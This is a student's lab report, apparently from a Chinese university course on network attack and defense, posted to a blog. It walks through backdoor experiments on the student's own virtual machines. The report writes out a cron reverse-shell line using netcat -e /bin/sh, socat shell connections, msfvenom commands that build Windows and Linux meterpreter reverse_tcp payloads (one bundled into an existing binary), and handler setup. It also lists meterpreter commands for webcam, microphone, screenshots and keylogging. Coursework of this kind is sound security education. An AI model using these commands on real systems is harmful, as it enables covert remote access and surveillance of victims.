• 20192412 202120222 《网络与系统攻防技术》实验二实验报告


    《网络与系统攻防技术》实验二 后门原理与实践

    实验内容

    1. 使用netcat获取主机操作Shell,使用cron启动某项任务
    2. 使用socat获取主机操作Shell, 任务计划启动
    3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
    4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
    5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    实验要求

    掌握后门原理及免杀技术并回答一下问题:

    1. 例举你能想到的一个后门进入到你系统中的可能方式?

      网上下载软件时捆绑的木马软件,浏览网页的弹窗广告附加后门

    2. 例举你知道的后门如何启动起来(win及linux)的方式?

      Linux下通过cron将后门设置为所需的定时启动,windows下通过计划任务通过触发器来启动程序,也可以通过绑定在一些常用的可执行文件,或者是开机的自启动项上面,当运行后门所在文件时后门也会运行。

    3. Meterpreter有哪些给你映像深刻的功能?

      Meterpreter的功能非常强大,前人将后门生成的各项约束集成在Meterpreter中,当我们使用的 时候无需了解底层代码甚至原理,只需按照格式将载荷,ip,端口,输出格式等输入就可以得到自己想要的后门程序。 通过此次实验,我发现通过Meterpreter很轻易的实现一些之前我眼中很不可思议的操作。例如,拍照,截图,录音等等。

    4. 如何发现自己有系统有没有被安装后门?

      安装杀毒软件,打开防火墙,观察任务管理器有无异常启动。

    实验过程

    ps:本次实验要在关闭所有杀毒软件和防火墙的情况下进行。

    任务一 使用netcat获取主机操作Shell,使用cron启动某项任务

    netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。

    1. 获取主机ip以及linux虚拟机ip
      windows:ipconfig

    linux:ip addr

    1. 使用cron实现自启动
      Cron表达式的格式
      crontab -e :编辑增加一条定时任务
      {分钟} {小时} {日期} {月份} {周几}(* * * * *)

    在kali虚拟机执行指令crontab -e,在文件的末尾添加* * * * * /bin/netcat 172.16.209.66 8086 -e /bin/sh(我们使用linux进行反弹连接)

    添加成功后我们可以通过 crontab -l 来查看我们编辑后的结果

    1. 使用主机监听8086端口
      nc.exe -l -p 8086

    成功获得kali的shell

    任务二 在windows下实现任务计划启动,使用socat获取主机操作Shell

    socat是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看做是 Netcat 的加强版。Socat 的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式

    1. 在计算机中的任务计划里新建任务,并如图所示编辑触发器,设置任务启动时间以及操作。

    1. 到达触发器所设置时间后,会有自动弹窗,在kali虚拟机中输入 socat - tcp:172.16.209.66:8086,成功获得windows主机的shell

    任务三 使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell

    meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。

    Msfvenom命令总结大全

    1. –p (- -payload-options):添加载荷payload。
    2. –f (- -help-formats):输出文件格式。
    3. –e:编码免杀。
    1. 在linux虚拟机上生成后门文件

    在kali虚拟机中输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.128 LPORT=8086 -f exe > meter_backdoor.exe(确定后门针对的靶机为windows,连接方式为反弹式连接,本地ip为192.168.235.128,本地端口为8086,输出方式为exe形式,输出重定向为当前目录下的meter_backdoor.exe文件)

    1. 利用ncat将刚刚生成的后门文件由kali虚拟机传输到windows主机上

    windows:nc.exe -l -p 8086 > meter_backdoor.exe
    linux:nc 172.16.209.66 8086 < meter_backdoor.exe

    可以看到即使在关闭防火墙的情况下,电脑依然自动弹出病毒威胁,如下操作即可

    至此,后门文件成功生成并传输保存在Windows主机
    2. 在linux主机,使用指令msfconsole进入msf的控制台

    (此时出现奇怪的动画,卡通角色是正常情况~~)
    3. 配置信息

    使用指令 use exploit/multi/handler 进入监听模块
    使用指令 Set payload windows/meterpreter/reverse_tcp 设置攻击载荷
    使用指令 Set LHOST 192.168.235.128
    使用指令 Set LPORT 8086
    最后使用show options检查配置信息情况

    1. 输入exploit指令进入监听模式,并在windows主机上双击运行后门程序。

    可以看到kali已成功获取windows主机的shell。

    任务四 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    我们在任务三的基础上实现任务四

    record_mic:获取音频
    webcam_snap:控制主机摄像头拍照
    screenshot:控制主机截屏
    keyscan_start:记录主机键盘输入的过程
    keyscan_dump:读取键盘输入的记录(有序)

    运用getsystem指令尝试提权操作

    提权失败(猜测:本身就是管理员权限,无法再提升)
    根据《网站提权之MSF骚操作》成功创建了admin用户,并开启3389端口

    任务五 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    1. 生成注入后门生成的文件
      我们注入的文件为pwn20192412为32位,因此使用 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.235.128 LPORT=8086 -x /root/pwn20192412 -f elf >pwn (-p 确定载荷,靶机为linux系统,连接方式为反弹式tcp连接,-x 表示捆绑,-f 输出重定向)

    1. 输入msfconsole指令进入msf控制台,并进行相关配置

    使用指令 use exploit/multi/handler 进入监听模块
    使用指令 Set payload linux/x86/meterpreter/reverse_tcp 设置攻击载荷
    使用指令 Set LHOST 192.168.235.128
    使用指令 Set LPORT 8086
    最后使用show options检查配置信息情况

    1. 输入exploit进行监听并同时运行生成的pwn文件

    成功获取shell

    问题及解决方案

    问题1:Netcat执行监听端口时报“local listenfuxored: INVAL”(nc -l 8086)
    解决方案:在Windows7及以上版本的操作系统中使用netcat监听端口时,会产生local listen fuxored:INVAL的报错信息,提示端口监听功能未能实现。应使用 nc -l -p 8086
    问题2:尝试提权失败
    解决方案:暂未解决,猜测:已经获取最高权限,无法提权
    问题3:在进行实验五时,注入后门的程序运行正常,无法获得shell
    解决方案:msfconsole配置问题,在配置msfconsole载荷时,应将windows修改为本机的类型,即linux/86
    问题4:在关闭防火墙以后,linux给windows传输后门以后,弹出病毒警告,几分钟没处理,电脑把它当病毒删了。。。
    解决方案:重来一遍,并及时将设置调整为允许在设备上
    问题5:在设置任务计划时,将时间设的太近,当完成触发器编辑时超过了所设的时间,没有shell弹出
    解决方案:手动点击运行或者将设置的时间调后3-5分钟

    学习感悟、思考

    在进行实验的之前要做好充分的准备,应当将相关知识点掌握清楚,将需要用到的工具提前准备好,相关命令如果不能背出来也应当熟悉,了解其含义,明确每一个ip,端口的含义,对应的是靶机还是控制机,哪些命令的端口必须保持一致等等。在实验过程中要保持认真,仔细,严谨,求实的态度,确保每一步的走稳,不出错,少犯错,减少自己给自己下的绊子。同时,在实验过程中遇到bug,或者不懂的知识,百度上90%以上都有,自己学的印象更深刻。网络上的隐私安全远比我们想象的更可怕,悄无声息,在不知不觉中就窃取权限,甚至可以截图,拍照,录音,以后一定要好好学习相关知识,提高相关方面的意识。

  • 相关阅读:
    UOJ 347(洛谷4220) 【WC2018】通道——随机化
    bzoj 5006(洛谷 4547) [THUWC2017]Bipartite 随机二分图——期望DP
    bzoj 5020(洛谷4546) [THUWC 2017]在美妙的数学王国中畅游——LCT+泰勒展开
    bzoj 4006 [JLOI2015]管道连接——斯坦纳树
    洛谷4294 [WC2008]游览计划——斯坦纳树
    CF 757 E Bash Plays with Functions —— 积性函数与质因数分解
    洛谷 P2444 [ POI 2000 ] 病毒 —— AC自动机+dfs
    洛谷 P1072 Hankson 的趣味题 —— 质因数分解
    洛谷 P1071 潜伏者 —— 模拟
    洛谷 P1541 乌龟棋 —— DP
  • 原文地址:https://www.cnblogs.com/gkw2412/p/16094065.html
Copyright © 2020-2023  润新知